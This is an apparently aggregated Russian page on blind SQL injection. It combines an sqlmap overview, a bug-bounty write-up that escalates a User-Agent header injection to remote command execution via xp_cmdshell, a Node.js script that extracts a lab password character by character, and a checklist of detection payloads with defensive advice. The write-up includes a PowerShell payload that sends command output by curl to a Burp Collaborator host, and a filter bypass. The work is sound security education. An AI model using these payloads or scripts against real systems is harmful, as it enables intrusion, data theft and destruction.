Time based blind sql как ускорить
Перейти к содержимому

Time based blind sql как ускорить

  • автор:

Soft Автоматическая инъекция SQL и инструмент захвата базы данных: sqlmap

Sqlmap является открытым инструментом для проведения пентестов, который автоматизирует процесс обнаружения и эксплуатации SQL инъекций, а также процесс захвата серверов базы данных. Он идет с мощным встроенным движком обнаружения и с множеством свойств для выполняющего пентест. Также в нем присутствует широкий диапазон коммутаторов, начиная с fingerprinting базы данных и более обширной выборки данных из нее, и заканчивая получением доступа к лежащей в основе файловой системе и выполнением команд в операционной системе с помощью out-of-band соединения.

Это заинтересует вас:

  • Использование SQLMAP на Kali Linux: взлом веб-сайтов и баз данных через SQL-инъекции
  • SQLMAP-Web-GUI: графический интерфейс для SQLMAP
  • Как запустить sqlmap на Windows
  1. Boolean-based blind: sqlmap меняет местами или присоединяет к пораженному параметру HTTP запроса, синтаксически верную строку SQL предложения, содержащую SELECT
    суб-предложение или любое другое SQL предложение, которое пользователь захочет извлечь. Для каждого HTTP-отклика, путем проведения сравнения хедера/тела HTTP-отклика и оригинального запроса, данный инструмент обнаруживает и вычисляет выход введенных предложений одного за другим. В качестве альтернативы, пользователь может предоставить строку или верное выражение для поиска соответствий на реальных страницах. Алгоритм бисекции реализован в sqlmap, чтобы данная техника могла извлекать каждый символ на выходе максимум из семи HTTP запросов. В случае, если выход не находится в пределах открытого текста, sqlmap адаптирует алгоритм большим диапазоном для определения порта.
  2. Time-based blind: sqlmap меняет местами или присоединяет к пораженному параметру HTTP запроса синтаксически верную строку SQL предложения, содержащую запрос, который задерживает внутренний DBMS, для того чтобы вернуться на несколько секунд. Для каждого HTTP запроса, путем сравнения времени HTTP отклика и первоначального запроса, данный инструмент обнаруживает и вычисляет выход введенных предложений одного за другим. Также как и в предыдущей технике здесь применяется бисекционный алгоритм.
  3. Базирующиеся на ошибке: sqlmap меняет местами или присоединяет к пораженному параметру специфическое для баз данных сообщение об ошибке, которое провоцирует предложение и анализирует хедер и тело HTTP отклика, в поисках DBMS сообщения об ошибке, содержащего введенную и заранее определенную цепь символов и предложения подзапроса на выходе. Эта техника работает только тогда, когда веб-приложение было настроено на открытие сообщений об ошибках системы управления базами данных.
  4. Базирующиеся на UNION запросе:sqlmap меняет местами или присоединяет к пораженному параметру HTTP запроса, синтаксически верную строку SQL предложения начиная с UNION ALL SELECT . Эта техника работает, когда страница веб-приложения проходит прямо к выходу SELECT предложения в цикле for , или чего-то наподобие, таким образом, чтобы каждая строчка запроса выхода была распечатана на странице содержания. sqlmap также способен использовать частичные (однократные) UNION запросы уязвимостей SQL инъекции, которые возникают, когда выход предложения не зацикленs в for конструкции, тогда как отображается только первый заход запроса выхода.
  5. Стековые запросы, также известны как piggy backing: sqlmap проверяет поддерживает ли веб-приложение стековые запросы и затем, в случае если поддерживает, sqlmap прикрепляет к пораженной части HTTP запроса точку с запятой (; ) следующую за SQL предложением, которое будет выполнено. Эта техника больше полезна для запуска SQL предложения, чем для SELECT , как, например, предложения определения данных или предложения управления данными, возможно ведущие к доступу чтения и переписывания файловой системы и выполнению команд в операционной системе в зависимости от лежащей в основе внутренней системы управления базой данных и привилегий пользовательской сессии.
  • Полная поддержка MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB и HSQLDB систем управления базами данных.
  • Полная поддержка пяти техник SQL инъекций: boolean-based blind, time-based blind, error-based), UNION query и stacked queries.
  • Поддержка прямого подключения к базе данных без прохождения через SQL инъекцию, путем предоставления DBMS учетных данных, IP адреса, порта и имени базы данных.
  • Также возможно предоставить одиночную URL цель, получить список целей из

Ссылка скрыта от гостей
Ссылка скрыта от гостей

  • Обширное серверное приложение версии программного обеспечения баз данных и лежащая в основе операционной системы сигнатура основывается на сообщениях об ошибках, разборе баннера, сравнения выходных функций и особенностей, таких как MySQL инъекция комментария. Также можно воздействовать на имя сервера системы управления базой данных, если вам оно уже известно.
  • Базовое программное обеспечение веб-сервера и технологии веб-приложения фингерпринт.
  • Поддержка извлечения DBMS баннера, пользователя сессии и текущей информации базы данных. Данный инструмент может также проверить, является ли пользователь сессии администратором базы данных (DBA).
  • Поддержка перечисления пользователей, хэшей паролей, прав доступа, ролей, баз данных, таблиц и колонок.
  • Автоматическое распознавание формата хэшей паролей и поддержка их взлома с помощью dictionary-based атаки.
  • Поддержка brute-force имени таблиц и колонок. Это очень полезно, когда пользователь сессии не имеет доступа к чтению системных таблиц, содержащих информацию о схеме, или когда система управления базой данных нигде не хранит эту информацию (e.g. MySQL < 5.0).
  • Полная поддержка дампа таблиц базы данных, диапазон записей или определенных столбцов устанавливается по выбору пользователя. Пользователь также может выбрать сброс только лишь диапазон символов записей в каждой колонке.
  • Поддержка автоматического сброса всех схем баз данных и записей. Возможно, это делается, чтобы исключить из дампа базы данных системы.
  • Поддержка поиска собственных имен базы данных, конкретных таблиц во всех базах данных или конкретных колонок во всех таблицах баз данных. Это полезно, например, для определения таблиц содержащих пользовательские учетные данные приложения, где соответствующее имя колонки содержит такие строки как имя и пароль.
  • Поддержка запуска пользовательского SQL предложения(ий) как в интерактивном SQL подключении к серверу базы данных. sqlmap автоматически разбивает предоставленное предложение, определяет какую технику сначала необходимо использовать и как должным образом поместить SQL пейлоад.

Ссылка скрыта от гостей

27431

Перейти на страницу документации sqlmap
Установка
Вы можете скачать самый последний tarball нажав здесь или самый последний zipball нажав здесь.

Предпочтительно, скачать sqlmap путем клонирования Git репозитория:

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

sqlmap отлично работает с
Ссылка скрыта от гостей

версиями 2.6.x и 2.7.x на любой платформе.

Usage
Для получения списка базовых опций и коммутаторов используйте:

python sqlmap.py -h

Как я расширил Time-Based SQL Injection до RCE

Тема информационной безопасности и защиты данных крайне актуальна для любого бизнеса, независимо от его размеров и географии. В рамках нашего блога мы решили публиковать заметки зарубежных коллег, основанные на их реальном опыте по теме. Надеемся, что приведенный материал будет вам полезен.

Предисловие

В этой статье я расскажу о своём отчёте, отправленном компании Sony в рамках публичной программы на сайте HackerOne, а также о том, как я преобразовал Blind Time-based SQL Injection в полномасштабное удалённое выполнение команды ОС.

Я вырежу из статьи такие важные подробности, как домены, поддомены, результаты работы команд, мой IP-адрес, IP-адрес сервера и другие.

Этап разведки

Для этапа разведки я использовал sublist3r для поиска поддоменов нужного мне домена.

image

Я проверил все поддомены, но ссылки оказались мёртвыми. Расстроившись, я попробовал другие инструменты разведки, например, amass . Как ни удивительно, результат оказался лучше.

amass нашёл для меня поддомены, которые нельзя увидеть в простых google-запросах. (Простите, но я не буду показывать скриншоты). Он выявил поддомен вида special.target.com .

Знакомимся ближе с Target

Перейдя на сайт, я увидел, что это что-то типа панели администратора или страницы для логина сотрудников.

image

Далее я попробовал классический символ ‘ для проверки на sql-ошибки. Я ввёл username=123’&password=123’ .

Проверил запросы burpsuite , и конечная точка вернула мне плодотворную страницу ошибки 500. Почему плодотворную? Разработчики забыли отключить режим отладки (или что-то типа того), и это позволило мне посмотреть запрос целиком с полным путём к файлам.

image

Конечная точка уязвима к Microsoft SQL Injection.

Сам эксплойт

Я попробовал простые булевы SQL-инъекции с параметром username , но безуспешно. В ответ на любую полезную нагрузку я получал ошибки. Повторно изучив ошибку запроса, я осознал, что базе данных передаётся мой User-Agent Header. Я добавил к своему user-agent одну кавычку и комментарий ‘— , и наконец получил обычную корректную страницу.

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36′—

image

Хороший признак того, что сервер выполняет вводимые пользователем команды. Затем я проверил возможность time-based SQL injection, чтобы узнать, можно ли помещать запросы в стек.

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36′;WAITFOR DELAY ‘00:00:05’;—

Ответ был отложен примерно на 5 секунд.

image

Это подтверждает, что мы можем помещать SQL-запросы в стек и выполнять инъекции любых нужных нам команд.

Расширение SQL-инъекции до RCE

Так как теперь мы знаем, что можем помещать запросы в стек, нужно найти способ исполнять здесь команды ОС. В отличие от MySQL, в MSSQL есть способ исполнения команд. Я воспользовался информацией из статьи Прашанта Кумара.

Выяснилось, что можно исполнять команды ОС при помощи xp_cmdshell , поэтому я включил на сервере xp_cmdshell .

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36′; EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;—

Затем я при помощи ping протестировал возможность слепого RCE

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36′; EXEC xp_cmdshell ‘ping myburpcollablink.burpcollaborator.net’;—

image

Отлично! Доступ к Burpsuite Collaborator Client был выполнен. Это подтверждает, что мы можем выполнять RCE.

В отличие от Прашанта Кумара, я не стал сохранять результаты выполнения команд в базу данных и создал неразрушительный способ считывания результатов выполнения команд ОС.

Я присвоил значение вывода переменной в powershell и отправлял их в свой BurpCollaborator при помощи curl .

Это работает так:

powershell -c “$x = whoami; curl http://my-burp-link.burpcollaborator.net/get?output=$x”

Команда получает результаты выполнения whoami и отправляет их по моей ссылке burpcollab

Готовая полезная нагрузка RCE выглядит так:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36′;EXEC xp_cmdshell ‘powershell -c “$x = whoami; curl http://my-burp-link.burpcollaborator.net/get?output=$x»‘;—

Результаты выполнения команды отправляются мне.

image

Также мне удалось извлечь информацию о метаданных инстансов AWS EC2, просмотреть серверные файлы и многое другое.

Обходим «исправление»

Спустя несколько дней Sony сообщила мне, что развернула патч. Я попробовал запустить свою старую полезную нагрузку, но её заблокировал файрвол. Я увидел, что компания поместила в фильтр ключевое слово EXEC xp_cmdshell .

Я обошёл фильтр, объявив переменную @x со значением xp_cmdshell и запустив команду вида EXEC @x

‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —

Хроника событий

  • 14 сентября 2021 года → отправлен первый отчёт
  • 16 сентября 2021 года → отчёт проверен Hackerone
  • 21 сентября 2021 года → развёрнут первый патч (я его обошёл)
  • 23 сентября 2021 года → развёрнут ещё один патч (я его снова обошёл)
  • 26 сентября 2021 года → развёрнут окончательный патч
  • 27 сентября 2021 года → уязвимость помечена как устранённая, выплачено вознаграждение.

Статья Автоматизация Boolean based Blind SQL Injection на Node.js

nodejs.jpg

Boolean based Blind SQL Injection — это техника инъекции, которая заставляет приложение возвращать различное содержимое в зависимости от логического результата (TRUE или FALSE) при запросе к реляционной базе данных. Результат позволяет судить о том, истинна или ложна используемая полезная нагрузка, даже если никакие данные из базы не раскрываются в явном виде. Таким образом, становится возможно раскрытие данных, например, посимвольным подбором искомого значения.

Естественно, что ручной дамп базы данных при такой инъекции крайне неэффективен. Существуют мощные инструменты, позволяющие доставать данные при слепых инъекциях в автоматическом режиме, например, широко известный sqlmap. Но ввиду того, что SQL инъекции могут возникать в различных местах приложения (GET параметры, POST body, Headers и т.д.), запросы к базам данных требуют специального синтаксиса в зависимости от типа этих баз данных (MYSQL, PostgeSQL, Oracle и т.д.), а ответ приложения, позволяющий идентифицировать истинность/ложность запроса, вообще является уникальным в каждом отдельном случае, существование полностью автоматического инструмента, гарантирующего 100% вероятность эксплуатации, является утопией.

Неоднократно, столкнувшись с отказом со стороны sqlmap (при всем уважении к нему и его создателям, зачастую его вполне достаточно), появилась необходимость создания полуавтоматических скриптов, которые позволяют максимально гибко настроить SQL инъекцию в ручном режиме, при этом делая всю монотонную работу автоматически.

Так как у меня бэкграунд фронтенд разработчика, то для реализации задачи я выбрал JavaScript и его серверную среду выполнения — Node.js. Никаких претензий к явно более популярному для подобных задач Python не имею, просто выбрал то, что ближе. Да и вообще алгоритм гораздо важнее, чем язык на котором написана программа.

Далее я опишу процесс разработки, не просто вывалив на читателя гору кода, применимого в частном случае, а показав посредством каких рассуждений были созданы эти скрипты. Надеюсь, это поможет кому-то создать свои инструменты для любых других задач.

Лучше всего двигаться небольшими итерациями и сразу на примере проверять то, что получается. В качестве цели для тестирования скриптов была выбрана лабораторная работа с PortSwigger (

Ссылка скрыта от гостей

). Далее будет спойлер, поэтому, если вы еще не проходили данную лабораторную работу, то советую сделать это до прочтения статьи, это поможет прочувствовать необходимость оптимизации. Почему составлен тот или иной SQL запрос, описано в лабораторной, не будем на этом акцентировать внимание.

Итак, мы нашли SQL инъекцию, определили тип БД, поняли, что она boolean based, различаем true и false ответы по появлению определенного контента на странице приложения.
Теперь можно определить длину искомого значения будь то имя базы, таблицы, колонки или значения. Напишем для этого отдельный скрипт.

1) Устанавливаем node.js и пакетный менеджер npm (если они отсутствуют):

apt install nodejs npm

2) Создаем папку проекта и инициализируем ее как Node.js проект:

mkdir sql && cd sql && npm init

Появятся два файла: package.json и package-lock.json. Они необходимы для установления зависимостей кода и библиотек.

3) Установим библиотеку node-fetch, позволяющую использовать браузерный Fetch API для http запросов на Node.js. Можно использовать другие библиотеки и модули. Для меня fetch знаком из браузера, поэтому роднее.

npm install node-fetch

4) Пишем асинхронную функцию, которая принимает предполагаемую длину в качестве аргумента и возвращает логическое значение в зависимости от результата сравнения в SQL запросе (не итоговый код!)

JavaScript:

import fetch from "node-fetch"; async function findLength(length) < // Значение, которое появляется на странице в случае истинного SQL запроса const flag = "Welcome"; // URL уязвимого приложения const url = new URL( "https://0ab400e503b6e9b4c0d045ab00f80025.web-security-academy.net/login" ); // В этом объекте помещаем все, что касается http запроса const options = < method: "GET", headers: < Cookie: `TrackingId=BlzXFEUoJcpSPeyv'+and+(select+'a'+from+users+where+username='administrator'+and+length(password)=$)='a`, "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0", >, // body: '', Если бы был POST >; const response = await fetch(url, options); const responseText = await response.text(); return(responseText.includes(flag)); >;

Далее можно было бы, используя цикл for, последовательно вызывать функцию с аргументами от 1 до n, где n длина искомого значения. Рано или поздно, в случае правильного составленного запроса, скрипт бы вернул true.
Но это неэффективное решение. Во первых, значение может быть длинным, например, хэш пароля в 64 символа потребовал бы 64 http запроса. Во вторых, большое количество запросов вызовет подозрение у систем защиты приложения.

Так как мы двигаемся по отсортированному массиву значений (от 1 до n), для оптимизации поиска можно применить алгоритм бинарного поиска. (

Ссылка скрыта от гостей

5) Дорабатываем скрипт с учетом алгоритма бинарного поиска и получаем итоговый вариант.

JavaScript:

import fetch from "node-fetch"; async function findLength() < // Значение, которое появляется на странице в случае истинного SQL запроса const flag = "Welcome"; // Минимальная и максимальная предполагаемая длина искомого значения // Если скрипт вернул end, но это не верный ответ, увеличиваем значение end (Костыль, а куда без них?) let start = 1; let end = 128; // Обязательно проводим сравнение в SQL запросе только с помощью оператора >. // Также не забываем включить в запрос итерируемое значение middle. while (true) < let middle = Math.floor((start + end) / 2); // URL уязвимого приложения const url = new URL( "https://0ab400e503b6e9b4c0d045ab00f80025.web-security-academy.net/login" ); // В этом объекте помещаем все, что касается http запроса (Метод, заголовки, тело и т.д.) const options = < method: "GET", headers: < Cookie: `TrackingId=BlzXFEUoJcpSPeyv'+and+(select+'a'+from+users+where+username='administrator'+and+length(password)>$)='a`, "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0", >, // body: '', Если бы был POST >; const response = await fetch(url, options); const responseText = await response.text(); const greaterThanMiddle = responseText.includes(flag); const twoValues = end - start else if (twoValues && !greaterThanMiddle) < return start; >else if (greaterThanMiddle) < start = middle + 1; >else < end = middle; >> > // Вызываем функцию и замеряем время подбора длины console.log("Please wait. "); const timeBefore = new Date(); const answ = await findLength(); const timeAfter = new Date(); const seconds = Math.round((timeAfter - timeBefore) / 1000); console.log("Value length:", answ, "Spend time:", seconds, "seconds");

Изменяя SQL запрос, можно определять длины любых значений из базы, а бинарный поиск позволяет значительно ускорить процесс итерации. Так, для нахождения длины в диапазоне 1-128 символов, будет сделано не более 7 запросов.

6) Имея алгоритм для поиска длины, напишем второй скрипт для подбора значения. Код функции findChar() во многом похож на findLength() из предыдущего скрипта, только теперь наш диапазон это печатные значения кодировки ASCII, а также в SQL запросе используется дополнительная переменная i для обозначения индекса итерируемого символа. (

Ссылка скрыта от гостей

Так как символы на различных позициях значения независимы друг от друга, то и проводить итерации можно паралельно. За это будет отвечать дополнительная функция findValue(). Она запускает паралельные функции findChar() и ждет завершения выполнения всех, после чего возвращает значение искомой величины, соединив найденные символы. Так достигается оптимизация, время выполнения скрипта при таком сценарии равно самому долгому времени подбора отдельного символа.

JavaScript:

import fetch from "node-fetch"; // Длина искомого значения, определенная из предыдущего скрипта или в ручную const length = 20; // Значение, которое появляется на странице в случае истинного SQL запроса const flag = "Welcome"; async function findChar(i) < // Диапазон печатных значений кодировки ASCII let start = 32; let end = 126; // Обязательно проводим сравнение в SQL запросе только с помощью оператора >. // Также не забываем включить в запрос итерируемые значения middle и i. while (true) < let middle = Math.floor((start + end) / 2); // URL уязвимого приложения const url = new URL( "https://0ab400e503b6e9b4c0d045ab00f80025.web-security-academy.net/login" ); // В этом объекте помещаем все, что касается http запроса (Метод, заголовки, тело и т.д.) const options = < method: "GET", headers: < Cookie: `TrackingId=BlzXFEUoJcpSPeyv' and (select ascii(substring(password,$,1)) from users where username='administrator')>$-- `, "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0", >, // body: '', Если бы был POST >; const response = await fetch(url, options); const responseText = await response.text(); const greaterThanMiddle = responseText.includes(flag); const twoValues = end - start else if (twoValues && !greaterThanMiddle) < return start; >else if (greaterThanMiddle) < start = middle + 1; >else < end = middle; >> > async function findValue() < const requestArray = []; for (let i = 1; i const responseArray = await Promise.all(requestArray); const value = responseArray.reduce( (previous, current) => previous + String.fromCharCode(current), "" ); return value; > // Вызываем функцию и замеряем время подбора значения console.log("Please wait. "); const timeBefore = new Date(); const answ = await findValue(); const timeAfter = new Date(); const seconds = Math.round((timeAfter - timeBefore) / 1000); console.log("Value:", answ, "Spend time:", seconds, "seconds");

Решение обозначенной выше лабораторной с PortSwigger с использованием скриптов заняло 5 секунд.

sqliScripts.png

Таким образом, написано два полуавтоматических скрипта, подходящих под решение широкого круга задач. Часть переменных при решении новых задач нужно изменять вручную. Но цели изобретать колесо (sqlmap) и не стояло. Ручная настройка в данном случае является достоинством, так как в руках понимающего специалиста позволит решить то, что sqlmap бы не смог. Код крайне прост. Конечно, можно было бы запускать два скрипта одной командой или настроить автоматический подбор полезной нагрузки, но, на мой взгляд, это не соответсвует принципу Паррето (20% труда = 80% результата). Код значительно усложнится, при этом возрастет количество отказов и время эксплуатации.

При желании, немного изменив код, можно подстроить скрипты под решение time based SQLi. Оставляю ссылку на свой github c исходниками кода. (GitHub — C0de4you/sql). После скачивания необходимо установить зависимости:

npm install

Чек-лист устранения SQL-инъекций

В прошлой статье мы уже рассматривали тему SQL-инъекций.

SQL-инъекции’ union select null,null,null —

Современные веб-приложения имеют сейчас довольно сложную структуру. Вместе с этим, для хранения инфо.

Предлагаем снова остановиться на этой проблеме, так как этот тип атак наиболее распространенный и один из самых опасных. В данной статье мы расскажем о способах выявления SQLi и предложим подробную инструкцию по их ликвидации.

SQL-инъекция — это попытка злоумышленника изменить запрос к базе данных для ее компрометации.

Возможные SQLi:

  • Соблюдение условия WHERE к истинному результату при любых значениях параметров.
  • Объединение запросов через оператор UNION.
  • Комментирование части запроса.

Для того, чтобы обнаружить SQL-инъекции, тестировщику необходимо понимать функциональные требования, триггеры, бизнес-логику, основной сценарий веб-приложения и т. д.

Как выявлять SQL-инъекции

Статья носит информационный характер. Не нарушайте законодательство.

Ручной поиск

Шаг 1.

Во все параметры подставляем спецсимволы (кавычки, двойные кавычки и т.д. ). В первую очередь проверяются параметры, принимающие в качестве аргументов пользовательский ввод. Если при передаче сервер вернул ошибку, то есть подозрение на наличие инъекции. Когда веб-приложение не отреагировало на спецсимволы, то возможны 2 причины:

  • SQL-инъекции нет.
  • Отключен вывод ошибок на веб-сервере.
http://example.com/?id=1’ http://example.com/?id=1” http://example.com/?id=1’) 
Шаг 2.

Если инъекция обнаружена, то используем метод UNION-Based, который применяется, если SQL-инъекция возникает в запросе с использованием оператора SELECT. Благодаря такому методу можно объединить два запроса в один набор результатов. Особенность его заключается в том, что он будет работать только в случае, если количество столбцов, возвращаемых первым запросом, будет равно их количеству, возвращаемых во втором запросе. Для определения количества столбцов можно воспользоваться 3 методами:

    Добавление столбца при каждой итерации проверки. Это не совсем удобно, так как их может быть бесконечное количество. Пример:

?id=1' union select null -- ?id=1' union select null,null -- ?id=1' union select null,null,null --

и т.д. Поиск количества столбцов

?id=1' order by 20 -- ?id=1' order by 10 -- ?id=1' order by 5 --

и т.д. Проверка с помощью order by

?id=1' group by 5 -- ?id=1' group by 10 -- ?id=1' group by 20 -- 

Теперь, когда мы знаем, сколько столбцов имеет текущая таблица, используем UNION SELECT, чтобы увидеть, какой столбец уязвим. Уязвимым столбцом будет являться тот, данные которого отображаются на странице.

?id=1’ union select 1,2,3,4 --

Когда уязвимый столбец найден, вместо его названия можем указать полезные команды для сбора информации о СУБД и получения данных из интересующих таблиц:

?id=1’ union select 1,null,version(),null — версия СУБД

?id=1’ union select 1,null,database(),null — текущая база данных

?id=1’ union select 1,null,@@port,null — порт, используемый СУБД

?id=1’ union select 1,null,user(),null — пользователь СУБД

?id=1’ union select 1,null,table_name,null from information_schema.tables – список таблиц с применением information_schema.

Шаг 3.

Если наличие инъекции при подстановке спецсимволов не подтвердилось, то воспользуемся одной из техник поиска слепых инъекций:

Такой метод эксплуатации слепых SQL-инъекций, при котором информация извлекается исходя из реакции на условные выражения. Атака называется «слепой» в тех случаях, когда нет видимой реакции от веб-приложения. Например, при подстановке кавычек в потенциально уязвимый параметр, ошибка, связанная с нарушением логики SQL-запроса, не появляется, а страница отображается без изменений.

В этом случае содержимое страницы останется неизменным, потому что оба условия в операторе SQL истинные. Если изменить условие на 1 = 2, то ничего не возвращается, так как 1 не равно 2, а должны выполняться оба условия.

Существует метод, при котором используются функции СУБД (например, SLEEP), вызывающие задержку ответа от базы данных. Такой способ также применяется для эксплуатации слепых инъекций, когда отсутствует какой-либо вывод информации, в том числе в случаях, описанных в Boolean Based SQL-injection.

?id=1 and sleep(10)

Функция sleep() выполнится на стороне СУБД при условии обращения к записи с соответствующей таблицы. Возможно использование функций BENCHMARK или WAITFOR.

BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')) waitfor delay '00:00:10' (MS-SQL) pg_sleep() (PostgreSQL) 
  • Stacked Query Based SQL-injections

В SQL точка с запятой указывает на конец запроса, после которого можно начать новый. Это позволяет выполнять несколько операторов в одном вызове сервера базы данных. В отличие от UNION-Based, который ограничен операторами SELECT, составные запросы могут использоваться для выполнения любой процедуры SQL. Стоит также отметить, что не все БД поддерживают эту функцию. Например, при использовании MySQL и SQLite3, нельзя воспользоваться этими операторами запросов, но в PostrgeSQL такая возможность есть.

?id=1; delete from table_name

Автоматизированный анализ

SQLmap — мощный кроссплатформенный консольный инструмент для поиска, эксплуатации SQL-инъекций любого вида и сложности, написанный на языке Python.

Основные функции SQLmap:

  • полная поддержка системы управления базами данных (MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB и HSQLDB) и прямое подключение к ним;
  • автоматическое распознавание форматов хешей паролей и предложение их подбора с использованием атаки по словарю;
  • поддержка выполнения произвольных команд на ОС сервера БД, получение их стандартного вывода при использовании MySQL, PostgreSQL или Microsoft SQL Server и многое другое.

Основные ключи, которые используют при работе с MySQL : —dbs, -D,T,C, —level,—risk, —random-agent.

# sqlmap -u http://example.com/?id=1 --dbs # sqlmap -u http://example.com/?id=1 -D test_db -T test_tables –dump

Дамп пользовательской таблицы

JSQ injection — еще один кроссплатформенный инструмент для выявления SQL-уязвимостей, написанный на языке Java и имеющий графический интерфейс. Этот инструмент поддерживает работу с 33 базами данных (Access, Altibase, Firebird, MemSQL, MySQL, Oracle, PostgreSQL, Presto, SQLite, SQL Server и т.д). По набору функций jSQL injection собрал в себе средство поиска и эксплуатации SQLi, функционал Dirb и Hashcat:

  • поддержка различных видов инъекций (стандартные, error-based, stacked-based, blind и time-based);
  • создание и внедрение веб-шелла и SQL-шелла;
  • аутентификация с использованием Basic, Digest, NTLM и Kerberos;
  • прокси-соединение по HTTP, SOCKS4 и SOCKS5;
  • кодирование и декодирование текста;
  • перебор паролей по хешу и др.

Просмотр содержимого таблиц

SQLmap и jSQL injection поддерживают поиск уязвимостей в cookie. За счет более обширной базы пейлоадов, использование SQLmap при выявлении уязвимостей будет приносить положительный результат намного чаще.

Защита от SQL-инъекций

Встречаются SQL-инъекции в числовом и строковом параметрах в запросах, использующих оператор SELECT, которые являются самыми распространенными. Поэтому проверять нужно всё: числа, строки, даты и другие данные в специальных форматах.

1) Числа

Функция is_numeric(n) используется для проверки переменной на числовое значение, которая вернёт true, если параметр n — число, а в противном случае — false. Также переопределить тип возможно вручную.

if (isset($_GET['id']))
2) Строки

Компрометации через SQL-конструкции происходят и по причине нахождения в строках небезопасных кавычек и других специальных символов. Для предотвращения такой угрозы необходимо использовать функцию addslashes($str), которая возвращает строку $str с добавленным обратным слешем (\) перед каждым специальным символом. Данный процесс называется экранированием. Для этого в PHP используют функцию mysqli_real_escape_string($str).

3) Параметризированные запросы (PDO)

PDO заставляют разработчика сначала определить весь код SQL, а затем передать каждый параметр в запрос. Это позволяет БД различать код и данные независимо от того, что вводится пользователем. Подготовленные операторы гарантируют, что злоумышленник не сможет изменить логику запроса, даже, если атакующий вставляет команды SQL. Правильно параметризированный запрос не позволит базе данных обработать информацию о пользователе, как часть SQL-запроса. Для обхода аутентификации злоумышленник может использовать конструкцию:

аdmin’ or ‘1’=’1

При использовании PDO сначала передается запрос в БД, а потом в него подставляются данные из переменных. Таким образом, за имя пользователя будет приниматься вся строка admin’ or ‘1’=’1, введенная им, что не позволит хакеру проэксплуатировать SQL-инъекцию.

if (isset($_GET['id']))< $id = $_GET['id']; if ( is_numeric($id) == true)< try< $dbh = new PDO('mysql:host=localhost;dbname=sql_injection_example', 'dbuser', 'dbpasswd'); $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $q = "SELECT username FROM users WHERE $sth = $dbh->prepare($q); $sth->bindParam(':id', $id); $sth->execute(); $sth->setFetchMode(PDO::FETCH_ASSOC); $result = $sth->fetchColumn(); print( htmlentities($result) ); … 
4) Хранимые процедуры

Объекты базы данных требуют, чтобы разработчик сгруппировал один или несколько операторов SQL в логическую единицу для создания плана выполнения. Последующие исполнения позволяют автоматически параметризовать операторы. То есть, это тип кода, который можно сохранить и многократно использовать в последующем. Когда необходимо выполнить запрос, вместо того, чтобы писать его, можно будет вызвать хранимую процедуру.

5) Использование WAF

Nemesida WAF — универсальное решение, позволяющее блокировать попытки эксплуатации различных типов уязвимостей, в том числе и SQL-инъекции. В основе своей работы Nemesida WAF использует машинное обучение, способное более точно и с минимальным количеством ложных срабатываний, противодействовать атакам на веб-приложение вне зависимости от языка разработки и используемых фреймворков. Также доступна бесплатная версия Nemesida WAF Free

В одной из статей мы рассматривали способы тестирования Nemesida WAF различными инструментами.

Я твой WAF payload шатал

Пару недель назад команда Vulners опубликовала сравнение нескольких популярных WAF. Поймав себя на м.

6) Принцип наименьших привилегий

Нельзя подключать веб-приложения к базе данных, используя учетную запись с привилегированным доступом (только в случае крайней необходимости), так как злоумышленники могут получить доступ ко всей системе. Это позволит минимизировать ущерб от проэксплуатированной уязвимости при ее наличии.

Резюмируя написанное выше, приведем несколько рекомендаций по защите веб-приложений от SQL-инъекций:

  • обрабатывайте ввод отдельно и формируйте запрос из безопасных значений;
  • создавайте «белые» списки;
  • регулярно устанавливайте обновления;
  • удаляйте неиспользуемый функционал;
  • задавайте конкретные значения названиям таблиц, полей и базам;
  • периодически проводите анализ защищенности веб-приложений вручную и с помощью инструментов автоматизации (например, Wapiti)
  • используйте средства защиты веб-приложений (WAF).

Следует помнить, что любая успешная атака с использованием SQL-инъекций может привести к утечке персональных данных (данные кредитной карты, личная информация пользователя и др.), несанкционированному доступу к серверу. Все это может повлечь необратимые негативные последствия. Поэтому будьте в курсе основных тенденций в области информационной безопасности, следуйте приведенным выше рекомендациям, оставайтесь здоровыми и защищёнными.

  • Блог компании Pentestit
  • Информационная безопасность
  • Тестирование веб-сервисов

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *